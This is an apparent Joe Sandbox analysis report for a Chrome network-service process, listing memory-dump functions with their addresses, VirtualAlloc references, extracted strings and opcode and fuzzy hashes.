Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,6169164683179771580,6537590639377131950,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 05D5EC81 Relevance: 1.3, APIs: 1, Instructions: 31
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05D5EC8C

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 03997d56dd0e7ff3d3d7c3d3ff064df66efc7393d21fc5f116756ef1e2d88da1
Instruction ID: 1ff7d370cc5c0593509620af36b38b969137d9cf848ac384f32368c6dacc3d0c
Opcode Fuzzy Hash: 03997d56dd0e7ff3d3d7c3d3ff064df66efc7393d21fc5f116756ef1e2d88da1
Instruction Fuzzy Hash: 85F0307110C209DFDB41BF74CC096BE77A4EB08321F010929EDE2C2680E67699608A56

Function 05D5E8AE Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05D5EEA5

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 80fd397e55269dd10d39ac3286636201b323b6ca08c3a424d24af435b85da7fd
Instruction ID: e0c10c387fb86e9e371b616cd25b8b8996b680f0910ef30006d28663063cdb54
Opcode Fuzzy Hash: 80fd397e55269dd10d39ac3286636201b323b6ca08c3a424d24af435b85da7fd
Instruction Fuzzy Hash: 34C0027101C145DEDF04AF5088556FD7799EB08750F00496F9DE341540D6216955C516

Non-executed Functions

Function 05D8B863 Relevance: 3.0, Strings: 2, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

cS|, xrefs: 05D8BE70
7R_v, xrefs: 05D8BE13

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: 7R_v$cS|
API String ID: 0-1330094028
Opcode ID: a1000603feeab6ceae96c0fa0f19b7e14474036bfc5fec666babbf402cf97127
Instruction ID: db843e48f6a69cb9bd0d88226ff0fc56df17ec93bd6a330741864318be1ac937
Opcode Fuzzy Hash: a1000603feeab6ceae96c0fa0f19b7e14474036bfc5fec666babbf402cf97127
Instruction Fuzzy Hash: 3BF1B0F3F112204BF3445978DD983A67693DBD4320F2F82399E98AB7C9E93E5D094284

Function 05DA429E Relevance: 3.0, Strings: 2, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R_, xrefs: 05DA4825
Qjz, xrefs: 05DA47AC

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: Qjz$R_
API String ID: 0-2418035599
Opcode ID: 7d89b1fdc12c9168fd6bec16ca3f46aa1a834764dccde57a146dbbe7af8bb958
Instruction ID: 6064361fa9cf5e2ce8efd14235f3e2ef371b6d3274288de7014d65af1121520e
Opcode Fuzzy Hash: 7d89b1fdc12c9168fd6bec16ca3f46aa1a834764dccde57a146dbbe7af8bb958
Instruction Fuzzy Hash: 4EE1F2B3F106158BF3445E29DC947A6B797EBD4320F2F823DDA88977C4E93E98058285

Function 05D68897 Relevance: 2.9, Strings: 2, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

FW}i, xrefs: 05D68D97
Q}, xrefs: 05D68BE6

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: FW}i$Q}
API String ID: 0-3452445954
Opcode ID: 15a1f2f3b092fad5f571464c0310e6ebc24c014d696b92df1c32a07c73c755ea
Instruction ID: 0fb900d184024d4fe9b109aeec3794be0cdf0360f0626a16bb2d7819275db0ac
Opcode Fuzzy Hash: 15a1f2f3b092fad5f571464c0310e6ebc24c014d696b92df1c32a07c73c755ea
Instruction Fuzzy Hash: 87D1D0F3F146144BF3045E29DC88376B792EBD4320F1B863DDB889B7C9EA3A58059285

Function 05D5DE21 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7, xrefs: 05D5E08E
NTDL, xrefs: 05D5DFA7

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: 7$NTDL
API String ID: 0-1744646570
Opcode ID: ba1e05dc70b87acfcd33388e094426c58db8f418ddb2f156923dfcfa74fffe6c
Instruction ID: 4d541e8b2f7ee12954eb431e582183ce1d9623aeb172d2a7d29cb91faca0b3c7
Opcode Fuzzy Hash: ba1e05dc70b87acfcd33388e094426c58db8f418ddb2f156923dfcfa74fffe6c
Instruction Fuzzy Hash: A951E17250820E8FDF00EE35C9409EF77E2FB96231F20452AEC8287942D7718E159B69

Function 05DA4C16 Relevance: 1.8, Strings: 1, Instructions: 522
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+', xrefs: 05DA51D3

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: +'
API String ID: 0-1305822350
Opcode ID: 301d243e65339301bafac7d52d9a59ffab776a32e0588fb884363cb4302f4542
Instruction ID: 8194eba5e50986e0423b7f22956117ca4b78472285bd54245601c25ec28c7419
Opcode Fuzzy Hash: 301d243e65339301bafac7d52d9a59ffab776a32e0588fb884363cb4302f4542
Instruction Fuzzy Hash: 1802D1B3F052248BF3485D29DC98366B692DBD4320F2B863D9F899B7C5D93E5C068385

Function 05DA9094 Relevance: 1.8, Strings: 1, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 05DA92D6

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: e5419f11f946656997b5c8a7583d46013fddbb1c91d4255fb3601453f0040885
Instruction ID: 4830f35bb1f97f65bb466fce6a48044c8041b366b7ff6ae4e419d9282c8855ba
Opcode Fuzzy Hash: e5419f11f946656997b5c8a7583d46013fddbb1c91d4255fb3601453f0040885
Instruction Fuzzy Hash: A3F1E2F3F146108BF3085A39DC99366B6D2EBD4320F2F863D9A98977C4D93E8C058285

Function 05D6B2FD Relevance: 1.7, Strings: 1, Instructions: 493COMMON

Download Yara Rule

Strings

Mki, xrefs: 05D6B8EB

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: Mki
API String ID: 0-2456858624
Opcode ID: 384ff75a5377871c10b66190cb65ce91e53ab23f1db2af42eccc5d46eb482729
Instruction ID: bca7b41a0c7c13be0d13a65aac6cebba03042f6df445dacf75308ce23ebd8774
Opcode Fuzzy Hash: 384ff75a5377871c10b66190cb65ce91e53ab23f1db2af42eccc5d46eb482729
Instruction Fuzzy Hash: EFF1C0B3F142244BF3445E29DC98366B792EBA4320F2F453D9E88977C5E93E9C094794

Function 05DA7BE5 Relevance: 1.7, Strings: 1, Instructions: 470COMMON

Download Yara Rule

Strings

:1, xrefs: 05DA816B

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: :1
API String ID: 0-3349615531
Opcode ID: 0f96d56652fa0f5317e09918e11b50a6585fd8598651bc87d1f08cb7254ebd9c
Instruction ID: aa1972c0d8f88a632427131d30637b496ece8bb3c7fee85922c0cb3b277f786f
Opcode Fuzzy Hash: 0f96d56652fa0f5317e09918e11b50a6585fd8598651bc87d1f08cb7254ebd9c
Instruction Fuzzy Hash: 4AF1CFB3F142244BF3145E3DDC88366B6D6EB94320F2B463D9A88A77C5DA7E5C068385

Function 05D96087 Relevance: 1.7, Strings: 1, Instructions: 420COMMON

Download Yara Rule

Strings

~{{, xrefs: 05D965C8

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: ~{{
API String ID: 0-2116832421
Opcode ID: e648d6fecb45a1c59e216fbafd4e035ec7a3154c4c10019bd99240c847365010
Instruction ID: 4613186a3bcc6a62b09473d4a3ae4e565bcba5f165b02ca1689f0f799ec510d9
Opcode Fuzzy Hash: e648d6fecb45a1c59e216fbafd4e035ec7a3154c4c10019bd99240c847365010
Instruction Fuzzy Hash: 8ED1CFB3E142204BF3549D39CC99366B692DBD4320F2B823DDF89AB7C5D97E5C068285

Function 05D71A2F Relevance: 1.6, Strings: 1, Instructions: 394COMMON

Download Yara Rule

Strings

L5pj, xrefs: 05D71B40

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: L5pj
API String ID: 0-1350495826
Opcode ID: eba221c15f66dc929fa39f22e1e5e2ba46a4a50537f767dab4e7730b41944ff9
Instruction ID: 89e83dd9773294259f1b2d426ac112d8e40246606a49c40d1a268c63940b4f94
Opcode Fuzzy Hash: eba221c15f66dc929fa39f22e1e5e2ba46a4a50537f767dab4e7730b41944ff9
Instruction Fuzzy Hash: 81D1F4F3F152244BF3144E29DC88366B692DB94314F2F463C9E88AB7C5E93E9C055385

Function 05D7F0A9 Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

I$3{, xrefs: 05D7F3A0

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: I$3{
API String ID: 0-3416320787
Opcode ID: dbafef51adb1a490de52b66182b2615630e94ec2cdd7f6870cdddd814441dc85
Instruction ID: e8b4adf79d571de666521df77b51c225144c90e5c8fd0928277a9eec660320d4
Opcode Fuzzy Hash: dbafef51adb1a490de52b66182b2615630e94ec2cdd7f6870cdddd814441dc85
Instruction Fuzzy Hash: 48B1CEB3F6062547F3544928CC983A27683DB95315F2F82788F4CAB7C6D97E9C0A9384

Function 05D6B9FC Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

!K:u, xrefs: 05D6BB1D

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: !K:u
API String ID: 0-1086533292
Opcode ID: 50e9118ea4ae0c32b2c150eea4fc5d2a1b6bf2cbd1cdd6eba9250e91cabefb18
Instruction ID: b595035c6c1c63931309d79b9be1216242b4e0068e28e41c7e7c14119e2bf0c9
Opcode Fuzzy Hash: 50e9118ea4ae0c32b2c150eea4fc5d2a1b6bf2cbd1cdd6eba9250e91cabefb18
Instruction Fuzzy Hash: 1BA17CB3F112254BF3544938CC583A26683DBD4320F2F42788E99AB7C6D97E5D0A53C4

Function 05D7660D Relevance: 1.5, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

q, xrefs: 05D76713

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 3038eaf77ba4954e4d0ca13c68d22a8f1e7a526e568135d8f5d114d1feb81f82
Instruction ID: 6cbe05be2337dd8730b8ef770159013d0d9c81bd7f2180a319cf67bef5820959
Opcode Fuzzy Hash: 3038eaf77ba4954e4d0ca13c68d22a8f1e7a526e568135d8f5d114d1feb81f82
Instruction Fuzzy Hash: 85A19DB3F111258BF3544D28CC583A17693EBE4324F2F82788E9C6B3C5E97E5C4A9284

Function 05DAC26C Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

"2Uw, xrefs: 05DAC496

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: "2Uw
API String ID: 0-87934169
Opcode ID: 4c5e8f7a4db7177e71ea101b07681123ca4a8c74d4e7aa3466cf2d6ecfa8536e
Instruction ID: 019367d53734c4f221d35d827ac1a1471c24b1c4c7517c5d9e3a8cb7476a4bd7
Opcode Fuzzy Hash: 4c5e8f7a4db7177e71ea101b07681123ca4a8c74d4e7aa3466cf2d6ecfa8536e
Instruction Fuzzy Hash: 4991A9F3F6062547F3544D78CD983A26683DB94320F2F82398F19AB7C9D97E9D095284

Function 05D9A8DE Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

K2\, xrefs: 05D9AA36

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: K2\
API String ID: 0-203682461
Opcode ID: 71e6a09a90c5cbcc62adf5a2f60ba6c74090b841974fd1cbe26b1f6c87664f4b
Instruction ID: 4cc08cd11a707d094e3c764a5bc095be1e8b23dbe7ecf76dfa31b57049215562
Opcode Fuzzy Hash: 71e6a09a90c5cbcc62adf5a2f60ba6c74090b841974fd1cbe26b1f6c87664f4b
Instruction Fuzzy Hash: 9D91AFB3F112254BF3544D68DC983A27283DBA4321F2F81788E58AB7C6E97E5D0993C4

Function 05D74B0A Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

P, xrefs: 05D74D22

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: c8bd10fea1b842d1fe0c6cccbb4701511f0b8365f1851ed0f447885569580879
Instruction ID: 78d6794eec5a453821920c5ea1c9268af2a774260bf5b19dca45d3c0ce1c1bcc
Opcode Fuzzy Hash: c8bd10fea1b842d1fe0c6cccbb4701511f0b8365f1851ed0f447885569580879
